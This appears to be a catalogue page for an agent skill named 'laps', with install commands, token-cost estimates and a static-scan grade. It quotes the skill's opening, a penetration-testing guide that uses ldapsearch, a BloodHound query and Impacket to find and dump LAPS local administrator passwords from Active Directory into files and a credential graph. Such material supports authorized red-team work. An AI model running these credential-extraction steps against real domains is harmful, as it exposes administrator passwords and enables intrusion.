Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill lapsgit clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/laps)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/laps"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/laps/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/laps"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/laps.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00027 | $0.01344 |
| Opus 5 | $0.00014 | $0.00672 |
| Sonnet 5 | $0.00005 | $0.00269 |
| Haiku 4.5 | $0.00003 | $0.00134 |
Grade A, and why
laps scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 10d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
This is a copy
98% identical to laps — 2 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 134 lines — stays where its author put it; the contents beside it link to each section on GitHub.
LAPS Password Extraction
LAPS (Local Administrator Password Solution) stores randomized local
admin passwords on computer objects in AD. Reading them requires
ms-Mcs-AdmPwd (legacy) or msLAPS-Password (Windows LAPS) read
permission — which is OFTEN over-delegated.
1. Detect LAPS deployment
# Legacy LAPS schema
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
-b 'CN=Schema,CN=Configuration,DC=corp,DC=local' \
'(name=ms-Mcs-AdmPwd)' name
# Windows LAPS (2023+)
ldapsearch ... '(name=msLAPS-Password)' name
# Either present = LAPS is deployed
2. Find delegated readers (your target ACL)
From BloodHound — anyone with ReadLAPSPassword edge:
MATCH (n)-[:ReadLAPSPassword]->(c:Computer)
RETURN DISTINCT n.name, c.name
Common over-delegation patterns:
- "HelpDesk-LAPS-Read" groups granted to ALL computers
- IT-Operations OUs reading their child OUs (then a flat OU = global)
- Service accounts with
GenericAllon Computer objects (implies LAPS read)
3. Read passwords (assuming you can)
# Direct LDAP query as authorized user
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
-b 'DC=corp,DC=local' \
'(&(objectClass=computer)(ms-Mcs-AdmPwd=*))' \
name dNSHostName ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime > /tmp/laps.txt
# Windows LAPS uses encrypted attribute by default
ldapsearch ... \
'(&(objectClass=computer)(msLAPS-EncryptedPassword=*))' \
name dNSHostName msLAPS-EncryptedPassword msLAPS-Password
Impacket helper:
# Recovers legacy LAPS
GetLAPSPassword.py 'DOM/USER:PASS@DC_FQDN' \
-outputfile /tmp/laps.csv
# Newer Windows LAPS w/ encryption: use python-windows-laps or
# manual ASN.1 decode w/ user's DPAPI key
4. Bulk-process result
laps_ingest("/tmp/laps.txt")
This adds:
kg_add_node(kind="credential", label="<host>\\Administrator:<plain>",
props={"source":"laps","host":"<host>","expires":"<date>"})
kg_add_edge(src=<cred>, dst=<computer>, kind="local-admin")
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 10d ago First seen · 134 lines · 27 tokens per session scan A 6332e2e63d11
laps is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 27 tokens to every session and 1,344 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 0 findings. It is 98% identical to laps, differing in 2 lines, and is treated as a copy.
Other skills, from other repositories
cis-aws-foundations-4.3
Ensure AWS Config is enabled in all regions.
cis-aws-foundations-6.5
Ensure the default security group of every VPC restricts all traffic.
cis-aws-foundations-2.1.3
Ensure Organizations management account is not used for workloads.
cis-aws-foundations-2.5
Ensure MFA is enabled for the 'root' user account.
cis-aws-foundations-2.7
Eliminate use of the 'root' user for administrative and daily tasks.
cis-aws-foundations-4.4
Ensure that server access logging is enabled on the CloudTrail S3 bucket.